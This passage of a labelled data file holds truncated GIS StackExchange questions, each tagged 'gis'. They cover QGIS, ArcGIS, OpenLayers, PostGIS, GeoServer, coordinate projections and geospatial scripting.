CRS error” when clipping? Body: I'm trying to clip a soil use shapefile, with a polygon I've created this morning. The clipping function works, but the clipped polygon doesn't have features (the table of contents is empty). QGIS ... ",['gis'] "Title: GeoExt: Excluding some of the layers from the legend Body: Openlayers and GeoExt for producing a web map. The map has a legend panel generated by GeoExt. By default, GeoExt grabs the details of every layers from the map and create a legend for all the layers. ... ",['gis'] "Title: Displaying a KML File on a Vector Layer in OpenLayers Body: This should be straight-forward, but I am beating my head over it. KML will not display. I have tried from same server and remote server to ensure it is not a cross-domain issue. The KML file loads ... ",['gis'] "Title: add a Custom search to an openlayers map Body: I have looked at this thread: add location search to openlayers map But it is not the result that I am trying to achieve. Probably best if i show you: ... ",['gis'] "Title: how to differentiate between common parts of the triangle and extract linestring from it Body: Can you help me break down shape A to different linestrings: lines 2 & 3 AND line 1? The shape contains three different polygons (A, B, C). I wish to determine the start/end point of each part ... ",['gis'] "Title: Python - formatting path strings and checking if a path exists Body: I would like to use the following code to determine if a path exists. The path I would like to check is being passed to my code via parameter on a ArcMap 10.0 tool dialog box. The parameters data ... ",['gis'] "Title: Rounding error in qgis point sampling tool Body: I'm not sure if this is a bug or of it is due to the implementation. I am using a raster that has values greater than 1,000,000 and Qgis displays these numbers in a scientific notation. For instance, ... ",['gis'] "Title: Instructions for installing Sextante plugin Body: As a follow-up to the question I recently asked on PyQGIS, can someone please point me to a document, webpage or thread that provides me with step-by-step instructions as to how to install an external ... ",['gis'] "Title: Zonal Statistics for Polygons with R Body: I'd like to do zonal statistics / terrain analysis with polygon overlays - I achieved to get min / max like so: library(raster) library(rgdal) alt <- getData('alt', country = ""AT"") gadm <- ... ",['gis'] "Title: how to overlay a polygon over SpatialPointsDataFrame and preserving the SPDF data? Body: I have a SpatialPointsDataFrame with some additional data. I would like to extract those points inside a polygon and at the same time, preserve SPDF object and its corresponding data. So far I've ... ",['gis'] "Title: Vector Layer Label is truncating/rounding value Body: I cannot figure out how to keep OpenLayers from truncating my vector layer label. For example, I have a value of 0.00 and want to show both significant digits, but it always makes it an integer 0. Is ... ",['gis'] "Title: How to average values in a point layer with respect to polygon layer in QGIS? Body: I am new to GIS and have the following problem: I have 2 layers: a point layer with a column that contains numbers (pollution index from specific measurement point) and a polygon layer with different ... ",['gis'] "Title: Python OGR, psycopg, postgis - geometry is null when updating Body: I'm attempting a python script that takes data from a file and updates only the geometry and a key field in a post gis table. But no matter what I try the geometry always seems to be updated null. ... ",['gis'] "Title: How to move/edit labels? Body: I need to move/edit few labels in a job. How can I work on it? I am using QGIS 1.7.4 and the label option in the toolbar (not the layer options) ",['gis'] "Title: QGIS Points to Path Plugin Date/time error [closed] Body: I would like to use the Points to Paths plugin to plot the tracks of collared animals, exactly as specified on this page http://spatialgalaxy.net/2011/12/30/qgis-plugin-of-the-week-points-to-paths/ ... ",['gis'] "Title: Transformation from WGS1984 to ITRF2008 Body: We are using Projected Coordinate System: Ain_el_Abd_UTM_Zone_39N (Transverse_Mercator) in our GPS Devices and have valuable Coordinate data. Can I change the projection of this data this to WGS 1984 ... ",['gis'] "Title: How to re-calculate area, perim, p2a,width and length in QGIS? Body: I cut a part out of one feature and added it to another feature in a polygon shapefile. My problem now is that both features has the same values in the area-, perim-, p2a-, width- and length-columns? ... ",['gis'] "Title: Why is sum of st_length() of segments 20% too big? Body: I'm running a query to return the total length of some bike paths, from OpenStreetMap. Compared to the known actual length of these paths, they're all a bit too big - something like 10-30%. I know it ... ",['gis'] "Title: Splitting a shapefile into many shapefiles with open source Body: I want to create a shapefile for each of the 72,000 census tracts in the United States that includes the census blocks in that tract using open source software. I will probably start with a state ... ",['gis'] "Title: How to keep the same style of a OSM map converted to SHP file Body: I saved a OSM file as a Shapefile, this is fixing my previous question how to handle bad layers. My question is how to retain the original style from OSM plugin to SHP files, when I copy the style ... ",['gis'] "Title: OpenLayers Google v3 and other layers drift apart Body: I'm stuck. My code works with OSM, but I need it to work with Google as well. The problem is simply that Google v3 and my other layers are not playing well together at all. They don't zoom together. ... ",['gis'] "Title: How to calculate the area of the convex hull of a points layer Body: I have a shapefile in QGIS that I have created by importing a CSV of points, using Points2One to convert to a shapefile and then importing the shape. I am now trying to calculate the are of the shape ... ",['gis'] "Title: How can I solve 'Handle bad layers' error when using OpenStreetMap in Qgis? Body: I can easy download Portion of maps from OpenStreetMap, save them etc. Once I reopen the same map I get a message that says ""Handle bad layers"" for all the OSM files. What I am doing wrong? ",['gis'] "Title: Explicitly locking a file geodatabase Body: I need to lock a file geodatabase (or only a single Mosaic dataset) at the beginning of a python script (and release it in the end).. I looked and looked and couldn't find any explicit arcpy command ... ",['gis'] "Title: Vector Machine Classification in ArcGIS Body: Is it possible to perform a vector machine classification of raster image using the ArcGIS software package. This supervised classification method is available in the ENVI software but not for ArcGIS. ... ",['gis'] "Title: OpenLayers dynamic map width inside Bootstrap tabs Body: I have the following layout, produced with Django and Bootsrap frameworks: some tabs with inside each one of them other 3 sub-tabs. In every first sub-tab I have an OpenLayers-2.13 map. This is what ... ",['gis'] "Title: Is it possible to create a map package of a network dataset (ESRI ArcGIS 10.1)? Body: Is it possible to create a map package of a network dataset (ESRI ArcGIS 10.1)? I tried publishing it as a map package, but I can't seem to insert the network itself (the ""New Route"" part, not the ... ",['gis'] "Title: Issue in Configuring Map Server Demo App Body: I am trying to use map server to display an indoor map of a building in a android application which i am about to develop. I setup the map server according to it's tutorial. I configured the files in ... ",['gis'] "Title: How to extract Latitude and Longitude of Shapefile for importing into Tableau? Body: I'm having a hell of a time so any help would be appreciated. I want to extract the latitude and longitude of the Health Authority boundaries from the zip file below. The ultimate goal is to import ... ",['gis'] "Title: Easy way to set up a blank PostGIS database for OSM2pgsql? Body: When you install PostGIS you get one database 'gis' created for free. But soon I want another, then another. So far, the way I do this is by messing around with ""CREATE DATABASE ... WITH TEMPLATE""... ... ",['gis'] "Title: Delete the least populated polygons Body: Here is the plan. I need to delete every metro's least populated census tracts (in terms of population density). To what extent? As to preserve 98% of the metro's total population. I don't know how to ... ",['gis'] "Title: Is there a means of recording all user actions in QGIS? Body: Is there a means of recording all user actions in QGIS, in particular date/time of data access? Most of our data is in Postgresql which is fine, I can run logging from there and QGIS is recorded ... ",['gis'] "Title: Issues with exporting QGIS symbology to SLD when symbology uses zoom levels Body: I've been working on some QGIS based symbology for export to SLD (Can I view the Geoserver zoom level in QGIS) but in the layers with zoom levels I can not export them to SLD...it crashes qgis. See ... ",['gis'] "Title: Find projection from dataset Body: I have a dataset that I have pulled from a MaxSea 3d database. I am trying to figure out what projection is used, so I can transform and use the data. I have tried following this guide ... ",['gis'] "Title: Feature Extraction from LiDAR in Erdas 2012 or ArcGIS10.1 Body: I know it's possible but I just can't find or figure out a workflow for it. Erdas Webinars has the workflow for ver 2011 but this is very different in 2013 as it uses a raster img file instead. I ... ",['gis'] "Title: Insert into X coordinate separately? Body: I have a postgis table with a point geometry for lat/long but i want to run a query that inserts a new row with lat, long values separately instead of concatenating them into a geometry. so is there ... ",['gis'] "Title: Looking for PyQGIS Syntax Examples/Guide Body: I am a long-time user of arcgis with intermediate experience python scripting for automation of geoprocessing workflows. I am moving towards using QGIS on the regular and I would like to dive into ... ",['gis'] "Title: Census Demographic Data from DMA ID Body: How can I go about finding demographic data by DMA ID? Is there a data file I can download from somewhere that I can use to import into my web application? ",['gis'] "Title: Open source implementation of “feature density” algorithm Body: I'm working on a dataset of house searches - 1 polygon for each area in which people want to find a house from an online search tool. This produces many overlapping polygons. It would be great to ... ",['gis'] "Title: Reference Error: selectZIP is not defined Body: In Firebug I keep getting this error when I try to click a button I made. <button type=""button"" onclick=""selectZIP()"">Execute</button> I declared a function called selectZIP in a .js ... ",['gis'] "Title: Validation of Regression Kriging Body: I am interested in exploring the idea of generating a predictive model for a target variable in a spatial context. I would then like to correct the residuals of this model using kriging, i.e. in a ... ",['gis'] "Title: Tiles caching - Best process to update part of cached tiles Body: I use Mapnik and TileStache to create and cache tiles. I wonder what is the best process to recreate part of the tiles collection when some features of a dataset are updated. How to recreate the tiles ... ",['gis'] "Title: How to use the ESRI JS API to map SQL Server Spatial Types without ArcGIS Server Body: I have heard of people using the ESRI Javascript API to create webmaps with spatial data from SQL Server or other RDBMS's. From what I can tell, they are not using ArcGIS Server as a middleware. In ... ",['gis'] "Title: How to create an accurate 5 km buffer in ArcGIS 10.1? Body: I need 5 km buffer of a basin boundary of Brazil using ArcGIS 10.1. The basin boundary is in GCS. I have tried it giving buffer distance 5 km and 0.0454545 degree decimal (assuming 1degree=110km). I ... ",['gis'] "Title: opening dbf without losing ObjectID and geometry? Body: I found a lot of related questions, but not completely an answer to my struggle. I can open the dbf-file in ACL and save it as dbf. I added some attributes and wanted to open it again in ArcGIS, but ... ",['gis'] "Title: Google Maps API: how to get the street name in multiple languages Body: I'm trying to get the street name in multiple languages from the Google Maps API V3. For example in Belgium there are multilingual street names: If i set the language=FR i will get ""Rue Brogniez"" ... ",['gis'] "Title: Confusing offsets in shapefile written by QGIS/OGR Body: I think I'm stuck here. A shapefile has been updated in QGIS. Records have been deleted and those records have been marked with an asterix in the first byte of the record in the dbf file. I open the ... ",['gis'] "Title: c# How can I get the spatial reference of a ArcGIS layer? Body: I m using the following c# code to add my layer dynamically on a arcgis silverlight application: ArcGISDynamicMapServiceLayer mylayer = new ArcGISDynamicMapServiceLayer() { ID = layerName, Url ... ",['gis'] "Title: Query OSM ids by name in PostGIS Body: I installed PostGIS on a server and now I want to query the OSM ids referring to a name, in order to get a list of all geometries according to this name. Is there an efficient way to query this ids ... ",['gis'] "Title: Move the cursor backward - opposite of row = rows.next() Body: I'd appreciate if anyone could please tell me if there is a way to go up one row in python cursor. opposite of row = rows.next() Thank you! ",['gis'] "Title: How do I get that polygon from Javascript ArcGIS API? Body: I would like to have a user draw a Polygon (or Line) onto a web map with the Javascript ArcGIS API drawing tools. For the life of me I can't figure out how to pull that polygon from the client and get ... ",['gis'] "Title: How to remove white gap in ArcMap Legend Body: I have a legend created in ArcMap 10.1 which appears to be generating an abnormal white gap to the right of the legend content. Any tips on how to possibly remove this would be appreciated. ",['gis'] "Title: How to load layers from postgis to dotspatial or sharemap viewer Body: I want to develop a PostGIS viewer for PostgreSQL (with SQL query editor) to visualize PostGIS layers. Which spatial library (.net C# supported) do I have to use? ",['gis'] "Title: Is it possible to set the color of a symbol from an attribute of the graphic? Body: I have a feature layer used in a client flex application. The feature layer is used to publish a feature class that has many attributes. Among those attributes there is one named ""color"". As its name ... ",['gis'] "Title: Mosaic tool not licensed? Body: I am very new to arcgis in general, and am having trouble stiching several rasters together. I know that the mosaic tool can do this, but when I try to create a new mosaic dataset I get the error ... ",['gis'] "Title: XYTools truncating decimals on export to excel Body: Is there some sort of setting to prevent XYTools from truncate decimals when exporting a shapefile to excel? I live in Sweden hand we normally use comma as decimal point. Even if I change the setting ... ",['gis'] "Title: PHP PostGIS to geoJSON missing required parametar error Body: I'm using this PHP PostGIS to geoJSON script: https://gist.github.com/bmcbride/1913855 But I keep getting this error: 'missing required parameter: geotable' This is my code: # Retrive URL ... ",['gis'] "Title: Changing projection does not change map extent Body: I have a shape file with a UTM projection. I want to save the data to a new shape file with a lat/long projection for a mapping system that only can deal with lat/long projections. I open the UTM ... ",['gis'] "Title: How can i generate parcel extracts on demand through a webservice Body: Ok, i need to generate parcel extract documents on demand. The backend is Arcgis 9.3.1 on SQL server 2008. I would like to build a webservice (C# .Net) on the server that generates these extracts. My ... ",['gis'] "Title: How to create shapefile from OS MasterMap data using ArcGIS Desktop 10? Body: How do I create a shapefile from OS MasterMap data in Arcgis 10? I have tiles from the Ordnance Survey Site and would like to create a topomap from the existing tiles. These tiles contains the ... ",['gis'] "Title: Download Shapefile from Geoserver removing some columns Body: Is there anyway I can download shapefile from GeoServer at the same time limit which columns will be downloaded? I know that GeoServer can serve different WFS format and this includes .SHP files. My ... ",['gis'] "Title: Source code for interpolation using a known set of random points in an area of land Body: In a fixed area of land random points with their values are generated. I need to get a heat map for this area of land showing the variations using those known point values. I have found that mostly ... ",['gis'] "Title: Issues with hotlinking in QGIS Body: I want to create hotlinks to open excel and image files but am having issues. I fixed the issue with opening excel files by adding """" cmd /c start excel.exe /r ""[% ""Excel"" %]"" However I can't get ... ",['gis'] "Title: Extract polygons from embedded Google Map for QGIS Body: Total GIS amateur here assembling a map using QGIS for output to Adobe Illustrator... I'm attempting to project the shapes from the map on this page: http://www.americanwineryguide.com/ onto my ... ",['gis'] "Title: Is there a way to represent multiple attributes of a single point feature with icons? Body: I always wandered if there's a way to represent using an array of various icons multiple attributes of a single layer containing point features. For example, think about a point feature with these ... ",['gis'] "Title: QGIS 1.8.0-Lisboa error message when converting DEM to Contours Body: I am trying to convert a small DEM (1 megabyte) into contours. When I go to - Extraction - Contour- and run it I get the following message: ""ERROR 1: CPLRealloc(): Out of memory allocating 416 ... ",['gis'] "Title: How to pansharpen LANDSAT 8 in GRASS? Body: Having used QGIS for quite some time for mapping, I was 'forced' to dig into GRASS as pansharpening is not directly executable in QGIS. After understanding more or less the structure, I did some ... ",['gis'] "Title: Copying netCDF coordinate system Body: UPDATE: 7/26/2013 The issue I'm encountering is a known bug with the netCDF-Java API described in ticket TDS-391: A user would like to convert radar data to netCDF format. Unfortunately, the data ... ",['gis'] "Title: Varying distance cross section along the river Body: I have used the script to draw the profile with this gis.stackexchange.com/a/50841/8104. This script is perfect. Can someone provide me idea, if in my case spacing is not same. I have points with ... ",['gis'] "Title: GeoServer: Link meta data to raster image? Body: I want to use the OpenGeo Suite to publish different sets of raster imagery with associated data. Doing this with vectorial data works fine: Setup the data base in postGIS: import the vectorial ... ",['gis'] "Title: QGIS and SpatiaLite database: Setting user access permissions Body: SpatiaLite databases seems to match all my desires to store GIS layers and table. But an important question is: is it possible to limit writing to only one user ? If yes, what is the way to do it? I ... ",['gis'] "Title: Using the projection of a layer variable to project another in Model Builder in ArcGIS Body: So in model builder I would like to have one input feature class projected to match the projection of another layer (a raster layer) that is a variable in the model. Can anyone help me achieve this? ",['gis'] "Title: REST backend framework for routing? Body: I'm looking for a framework in Java or PHP to use it as backend for a mobile application. It should (if possible) implement REST services, geo functions for routing and CRUD services. I found the ... ",['gis'] "Title: How to export x/y coordinates from geodata? Body: I am a novice about Geographic Information Systems. Now I want to get real line segment dataset to do an experiment. So I searched it, and found the site that includes the real data: ... ",['gis'] "Title: windows function with points in a mixed (multipoint/point) table Body: I have a table comprising multipoints (tracks) and points (stops between tracks). there can be several consecutive multipoints. now, i want to merge any points lying very closely to each other ... ",['gis'] "Title: How to add a search box (OpenGeo Suite Client SDK)? Body: I'm using the OpenGeo Suite Client SDK to create a web mapping application. To perform searches I'm currently using the QueryForm plugin. Instead of using the QueryForm I would like to add a search ... ",['gis'] "Title: Does NASA DEM contain objects? Body: Following an answer to my previous question I am planning to work with NASA ASTER GDEM global dataset. I am trying to download it according to instructions given here for a couple of days now. ... ",['gis'] "Title: unable to find “attribute” field in “ClassBreaksRenderer ” class Body: I am trying to run Map ServerLayer sample given on arcgis resource center.When I pasted the code in my FlashBuilder 4.6 then it is showing error on this line <esri:ClassBreaksRenderer ... ",['gis'] "Title: How to load a raster from in-memory bitmap (not from file) into PostgreSQL Body: I have a bitmap in memory that I would like to load as a raster to PostgreSQL. An unfavorable option is saving the bitmap to file and then use raster2pgsql, but as we have several cameras that ... ",['gis'] "Title: From where can i download WKT files for US zip codes? Body: From where can i download WKT files for US zip codes ?? i need to plot zip code boundary on a map using open layers ",['gis'] "Title: Bulk grant privileges to multiple tables at once in ArcGIS 10.1 Desktop Body: I am able to grant multiple privileges (SELECT, INSERT, UPDATE, DELETE) to multiple Users/Roles to one single Table each time on an Enterprise Geodatabase from ArcCatalog 10.1. That's done by Manage ... ",['gis'] "Title: ArcPy(10.1) distanceTo using dynamic geometries? Body: I am struggling to get the arcpy point class method distanceTo to function with dynamically generated geometries with a Python addin. I have used the default tool addin function and set self.shape ... ",['gis'] "Title: Strategies for serving large datasets over WFS Body: We are implementing WFS using geoserver for our customers to consume vector data from a hosted spatial database to their desktop GIS. They want to be able to just connect and browse the data in the ... ",['gis'] "Title: How to write an address search plugin? Body: I am migrating some users from MapInfo to QGIS, and before they sign off on it, they want a very simple address search in the same way that we currently have one working in MapBasic. I;ve been having ... ",['gis'] "Title: Export selected converted geotagged photo points to a new feature class Body: I used the GeoTagged Photos to Points tool to convert a folder of geotagged photos to points, importing the photos into the file gdb as attachments. I now have a feature class of about 7 000 points. ... ",['gis'] "Title: Problem in VersionEdit4.Reconcile4 method Body: I had an standalone application in which i am getting all the available versions in the database. Based on user filter he selects multiple versions and reconcile it. if ... ",['gis'] "Title: Map Basic. Where-clause in Select Statement Body: what is wrong with this statement? I recon the where-clause is the problem. Select * from ""BEDIRECT_POT_"" + vo_num, PLZ5_2012_bereinigt where ""BEDIRECT_POT_"" + vo_num.PLZ like ... ",['gis'] "Title: Can I view the Geoserver zoom level in QGIS Body: I am creating some sld's using QGIS for use in Geoserver and wanted to view the current zoom level so that I can then define it in the zoom level. Is this possible? For example <!-- Local ... ",['gis'] "Title: How to extract elevation data from binary .ADF elevation format at given coordinates? Body: I have a high resolution digital elevation model available. The ground resolution is 1 meter and the file format is adf which is some binary ESRI grid raster format. I have a script the outputs x/y- ... ",['gis'] "Title: Batch Mode Routing for Fastest Route Distance Body: I would like to run a batch process to derive the total driving distance between points, for a largish set of point-pairs. e.g. I would have data something like: Start_ID Start_Lat Start_Long ... ",['gis'] "Title: 'Pausing' a Python script tool to allow the user to provide input before continuing Body: I am using ArcGIS. I have written a Python script that creates various surfaces including NDVI. After the script creates those surfaces, I would like the script to stop running while the user ... ",['gis'] "Title: Why isn't my select by attributes query working? Body: I'm running ArcMap 10.1. I have a point feature class joined to a table and am trying to query a field. If I do [field] = 'TEST', it selects all the fields. But if I do [field] LIKE 'TES%', it ... ",['gis'] "Title: Unable to dynamically locate map boundary coordinates in OSM/Leaflet Body: I have been trying for the past hour to take the coordinates of the map edge in a OSM/leaflet application I am making. While I can get the coordinates of the center, and I can get the coordinates of ... ",['gis'] "Title: Shape Metrics Toolbox or equivalent for ArcGis 10 Body: I need to compute the geometric properties (e.g. contiguity index, dispersion index etc.) of a series of polygons and I would like to use the Shape Metrics Toolbox. I am using ArcGis 10 and the ... ",['gis'] "Title: How to create histograms Body: I am very new at using GIS data and in particular QGIS (1.7.3) and I need some help to produce histograms regarding my data. I have a great number of data about an algae density collected in 8 ... ",['gis'] "Title: Using PROJ.4 library to transform from local coordinate system coordinates to global coordinate system using ground control points? Body: I have a point cloud whose coordinates are with respect to a local coordinate system. I also have ground control points with GPS values. Can I convert these local coordinates to a global coordinate ... ",['gis'] "Title: Why does TIN interpolation ignore some input points? Body: i have xyz-files (laserscanning, but already as a regular raster) that i converted to vector files. everything is fine, but when i try to convert them to raster via interpolation (TIN, 1x1 meter ... ",['gis'] "Title: How to run a shortest path analysis for DEM-derived streams and pour points? Body: I have a .shp for streams and another for pour points. Those features were extracted from a DEM by using the Hydrology package from the Spatial Analyst Tools of ArcGIS 10. I want to know the distance ... ",['gis'] "Title: 3d borehole view for ArcScene Body: I am trying to make a 3D Representation on the well from the following data. I cnat put it in a table work from there and use python. Just not sure the math. Anyone Help I do have the starting ... ",['gis'] "Title: Labels for Very Small Features Not Displaying Body: I'm labeling features in a map book (MapLogic) in ArcMap using Maplex labeling. I have the ""Never Remove..."" box checked within Maplex for the layers, however, some of my features that have a very ... ",['gis'] "Title: What is the correct way to merge adjoining raster images? Body: I am trying to create a raster base layer from NAIP ortho imagery. Unfortunately for me, the area of interest is very near the intersection of four image files. I have tried a few approaches to ... ",['gis'] "Title: Counting points in a raster Body: Is there a way to select points in a raster dataset by raster classification? I have a floating point raster created from the points, classified into 4 ranges by standard deviation. I want to find out ... ",['gis'] "Title: How to open a .k format (I think it is made with IDRISI product) with open source software Body: I just received a .k file which I know it was made with a IDRISI software (i do not know which). I serched the web and I did not find many information on this format a part for a very essencial page ... ",['gis'] "Title: Ubuntu DSN connection Body: I have a problem. Follow Ubuntu + FreeTDS + unixODBC + qgis 1.8.0 Settings FreeTDS [MSSQL] host = 192.168.0.1 port = 1433 tds version = 7.0 Settings /etc/odbcinst.ini [FreeTDS] Description = ... ",['gis'] "Title: ArcGIS 10 Model Builder: how to select features in layer using their statistics (stdev and mean) of the dataset Body: I am trying to solve following problem. I need to select features from the shapefile by attribute in Model builder. The attribute should be a statistics which you can calculate by the tool :""Summary ... ",['gis'] "Title: ArcGIS 10 - FLEXnet / lmtools Body: I got a tool for ArcGIS which has its own license manager (lmtools / flexnet). Everything is working fine. My problem is: When i use ArcGIS and start the tool the license is in use. Ok. When i stop ... ",['gis'] "Title: Is there a way to use transition effect in OpenLayers layers in IE7? Body: It seems transition effect for zooming in OpenLayers does not work in IE7. I checked some of the development examples (for example this one) with IE7 and they show no zooming effects. Did I miss ... ",['gis'] "Title: GIS maps for owners information Body: Do you know any links I can search for business and residents property information: owner title, mailing address, or phone number? *GiS map/link *parcel map/link *taxes map/link ",['gis'] "Title: Remove parts of line that fall within a polygon Body: I have a polygon and two lines. How can I remove the portion of each line that falls within the polygon? # polygon coords <- matrix(c(-1.798123, -1.793072, -1.805767, -1.804129, -1.798123, ... ",['gis'] "Title: How to load a ESRI shape file in android [duplicate] Body: I have created a shape file containing an indoor map of a building. I want to show it in an android interface(preferably in a web view). My Questions: How can i do this? What are the libraries and ... ",['gis'] "Title: How can i join the count of points into polygon [duplicate] Body: this is my first post, and thank you for your help :) I have two layer (point and polygon) which are keeped in the same db. I want to find how many points are existed in one polygon, and i googled my ... ",['gis'] "Title: How to start Routino with current location? Body: I'm trying to develop a routing system, I'm using Routino as the routing engine...as anyone tried to instantiate the first marker (starting point) with the user current user location that can give me ... ",['gis'] "Title: Can I add a feature class to an MXD with Python? Body: I'm using ArcGIS 10.1 and am trying to add a feature class that I create to an MXD, so that I can join to it. This all needs to be done using Python. Is this possible? ",['gis'] "Title: Create a plugin in QGIS- Body: i want to develop a plugin in QGIS to access to my database in postgres : i want to import a file.sql that contains my SQL Code in a textbox , and execute this code to assign myd database. Any ... ",['gis'] "Title: How to install Shapely, but got stuck into Python language Body: I have a MAC OSX 10.7.5 and am trying to learn how to use QGIS. Following a couple of tutorials I came to know I have to install shapely. I followed the instructions by the multi-cited ... ",['gis'] "Title: Near / Near Table creates -1 values Body: I have two feature classes. Point feature of hand-sampled GPS locations Line feature of terrace walls digitized from aerial photograph. Because of the less than perfect ways I generated these ... ",['gis'] "Title: How to calculate line centroids for 460,000 features? Body: I have a large shapefile of lines, and want to run a mmqgis function (Plugins --> mmqgis --> Modify --> Convert Geometry Type.) The problem is the file is very large and crashes the program. What ... ",['gis'] "Title: Hiding Rest Service Url in Javascript Body: While users using my application, they can view resource from browser and see my arcgis rest service URLs. So If I use token based security, security token can view. Can I hide this from users? ",['gis'] "Title: how to tell google geocode() that you are looking for an administrative_area address and not a city? Body: If you were to do a reverse lookup for a region (States or Province) and that region happen to have a city with the same name, then Google geocoder will return the information on the city instead of ... ",['gis'] "Title: Transform from WGS84 to EPSG 3785 (google maps) Body: I am a Java Developer and I was given this coordinates from a database verbat_sistema_coordenadas verbatim_SRS datum verbat_longitud verbat_latitud UTM WGS84 ... ",['gis'] "Title: map does not zoom to a feature - openlayer's zoomToExtend Body: I'm using Geoserver 2.1.3 and openlayers 2.12. I created a vector layer and I implemented a ""Search"" functionality using CQL. After the CQL search, I succesfully render new features on the layer. And ... ",['gis'] "Title: Is there any way to symbolize a user-supplied input parameter in ModelBuilder? Body: I have a model built in ESRI ModelBuilder that is run from its tool dialog, where the user supplies the input feature layer that then gets processed in the model. I need the input feature layer to ... ",['gis'] "Title: r.basin.py GRASS addon Body: I have added this add on with g.extension on my grass 6.4.3RC3. But it doesnt work... this is the error I can see: Traceback (most recent call last): File ""C:\Program Files (x86)\GRASS GIS ... ",['gis'] "Title: Altitude from KMLs in Openlayers Body: I have a KML with points representing the flight path of a small plane. Opening the KML, it looks like (up to style related stuff): <Point id=""Point""> ... ",['gis'] "Title: Openlayers: authenticate users to send any wfs requests to geoserver Body: I can see that this question is asked before but not answered properly. I'm trying to authenticate with geoserver before trying to send any wfs requests. I need to use the geoserver users. I already ... ",['gis'] "Title: How can I display popup when graphic object is added in map using Arcgis Javascript Body: We have to display callout popup for each graphic object that are available on map. i.e if point is created on map, it should be associated with callout popup which will display information about that ... ",['gis'] "Title: Can ArcMap basemaps be used in figures intended for publication? Body: I'm wondering if the 'imagery' basemap available in ArcMap 10 can be used as part of a figure in a scientific publication? If it can't are there any alternatives, using QGIS for example? ",['gis'] "Title: Import garmin Topo map to QGIS Body: I would like to import my Garmin Topo Maps to QGIS. I want to use the Topo Map as a Layer to create Shapefiles. Can anybody tell me if it is possible to import the Garmin maps including waypoints as ... ",['gis'] "Title: Commit Feature WPS Split process Body: I develop a WebGIS application with GeoServer (2.1.1) and GeoExt (with the last version of OL). Data (polygons features) are stored in a postgis DB. I've implemented editing tools that allow users to ... ",['gis'] "Title: Hover on Airport Data using OpenLayers + Mapfile Body: I need to create a simple hover using openlayers for worldwide airport data. I'm thinking maybe the associated address, maybe a picture in regards to the airport, ...anything really. It's just an html ... ",['gis'] "Title: How to get default parameter value for script tool from csv file? Body: I am fairly new to python scripting. I have just figured out how to read and write input parameters for a python script from a csv file. Now I am being asked to pre-populate the script tool dialog in ... ",['gis'] "Title: QGIS 1.8 tries to use UTM in spite of geo projection file Body: I'm wrestling with a problem that I am sure I've created for myself, but cannot resolve. I received a set of shapefiles that were expressed with UTM, and I want them to use lat/lon. QGIS will do the ... ",['gis'] "Title: Webmapping option that allows rasters? Body: I'm trying to create an introductory GIS course that will involve an ideally simple web mapping component. I was underwhelmed that ArcGIS online doesn't support rasters, and surprised that MangoMap ... ",['gis'] "Title: Python select by attribute using a variable counter Body: I am brand new to python and trying to learn how to do some simple loops but I have hit a snag. Below is what I am working with, I am trying to select the polygon row by row, but I keep getting EOL ... ",['gis'] "Title: ArcGIS - Only draw data in current layout view Body: I am using county data to create a map of a very localized area (about a city block). The data includes parcel, sewer, water, electric, stormwater, imagery, centerlines, etc. Is there any way to ... ",['gis'] "Title: How to refer to Obj file when storing tab file name in a String variable? Body: I need to loop through tab files and use select, am doing the following: Dim file_name as string Dim file_name_obj as string file_name = area1 file_name_obj = area1.Obj am getting an ... ",['gis'] "Title: Leaflet Marker Cluster: Popups won't open after first Body: I built a map using Leaflet and markercluster.js, and I'm having a strange issue where after I click on the first popup, I'm unable to open any other popup. This happens whether you close the first ... ",['gis'] "Title: geoprocessing tool : solving a vehicle routing problem Body: i am trying to implement a geoprocessing tool in my silverlight application witch use the ""solving a vehicle routing problem"", i tried to do that in ArcMap it work fine but i have no idea how to do it ... ",['gis'] "Title: several fields and GEOMETRY GetFeatueInfo from Geoserver Body: Good day!. I have a table in PostGIS 2.0 with several fields of type GEOMETRY. In the geometry_columns they are published in Geoserver 2.2 as layers. This is done as here - geoserver docs, but ... ",['gis'] "Title: problem overlaying osm with os-derived data in QGIS - both British National Grid Body: I am currently working alongside city council datasets derived from Ordnance Survey; this is projected in their ArcSDE system as ""British National Grid"" or EPSG:27700. My problem is that I am trying ... ",['gis'] "Title: How to convert EPSG:900913 or EPSG:4326 to EPSG:27700 using Proj4js (or to set displayProjection to EPSG:27700) [duplicate] Body: I'm using openlayers to create a vector feature (e.g. polygon, point) and i would like the geometry values of these vectors to be stored as EPSG:27700 coordinates (so when i send them off in WKT ... ",['gis'] "Title: Build overviews before building tiles? Body: Does it make sense to create overviews (with gdaladdo) for my GeoTiffs (about 12000x15000 px) before creating tiles in GeoWebCache? Does resampling affect the quality of my tiles? ",['gis'] "Title: Label size in map units, geoserver .sld file Body: Is it possible to define labels in map units in a sld file? Thanks. ",['gis'] "Title: ArcGIS Online: Possible to overlay raster data? Body: I'm starting to explore ArcGIS Online as my first introduction to web mapping (perhaps not the best choice of cloud services but thought I'd give it a shot). I was intrigued by their discussion of ... ",['gis'] "Title: Indexing GIS data associated with user with timestamp Body: I have data for each user in this format user1:(timestamp,lattitude,longitude) user1:(timestamp1,lattitude1,longitude1)..... Here the 1 at the end of timestamp/lat/long is to specify a different ... ",['gis'] "Title: ArcMap 10.1 Layout toolbar disabled/greyed out Body: For some reason, when I removed and replaced toolbars in an .mxd document the Layout toolbar is greyed out. I've tried opening/closing the document and ArcMap, in addition to readding the toolbar ... ",['gis'] "Title: Questions regarding the processing of mosaic Landsat 8 Body: Approximate Translation of Original Question: A question of theoretical and practical about the mosaic of satellite images. I have 3 different months of Landsat images, which need to accomplish the ... ",['gis'] "Title: Get number of rules in geoserver style using webservice Body: how can I know the default style for a layer in geoserver, and the number of rules it contains, using a REST call or service? Thank you bye stefano ",['gis'] "Title: Automate SHP to JPG creation Body: Does anyone know of a way to batch convert shapefiles to jpegs or another common image format? edit: I should have clarified that I would like to apply a styling to each shapefile, and then export ... ",['gis'] "Title: calculating a field in which null values may be present Body: I would like to calculate a field (short integer) using other fields (short integer) present in the table. In some cases these fields may have null values for one or more of the fields. For example, ... ",['gis'] "Title: get valules for all fields from selected features Body: The following code works for retrieving values within a particular field(Name1), but I want to retrieve mulitple fields. Am I to create multiple variables for each field? IMxDocument pMxDocument = ... ",['gis'] "Title: Are FOSS4G conference presentations available online? Body: I'm wondering if anyone has knows of links to a website(s) where previous FOSS4G conference presentations are available online. I would like to: watch recorded video presentations, listen to audio ... ",['gis'] "Title: Bulk delete fields in Modelbuilder Body: Is there a way to simultaneously delete fields in Modelbuilder? I want to be able to remove excess fields from an iterative join of near tables. All of the fields I want to delete and keep are ... ",['gis'] "Title: Leaflet WMS layer not working until zoomed Body: I created a toggle button to add and remove wms layer from the map. In the default zoom level, it is working fine. 